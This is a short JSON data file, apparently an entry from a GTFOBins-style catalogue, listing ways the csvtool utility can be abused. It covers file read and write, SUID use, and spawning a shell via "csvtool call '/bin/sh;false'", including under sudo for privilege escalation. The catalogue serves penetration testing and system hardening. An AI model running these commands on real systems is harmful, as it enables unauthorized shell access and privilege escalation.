You cannot select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
32 lines
768 B
JSON
32 lines
768 B
JSON
{
|
|
"functions": {
|
|
"file-read": [
|
|
{
|
|
"description": "The file is actually parsed and manipulated as CSV, so this might not be suitable for arbitrary data.",
|
|
"code": "csvtool trim t [file]\n"
|
|
}
|
|
],
|
|
"file-write": [
|
|
{
|
|
"description": "The file is actually parsed and manipulated as CSV, so this might not be suitable for arbitrary data.",
|
|
"code": "TF=$(mktemp)\necho [data] > $TF\ncsvtool trim t $TF -o [file]\n"
|
|
}
|
|
],
|
|
"suid": [
|
|
{
|
|
"code": "./csvtool trim t [file]\n"
|
|
}
|
|
],
|
|
"shell": [
|
|
{
|
|
"code": "csvtool call '/bin/sh;false' /etc/passwd"
|
|
}
|
|
],
|
|
"sudo": [
|
|
{
|
|
"code": "sudo csvtool call '/bin/sh;false' /etc/passwd"
|
|
}
|
|
]
|
|
}
|
|
}
|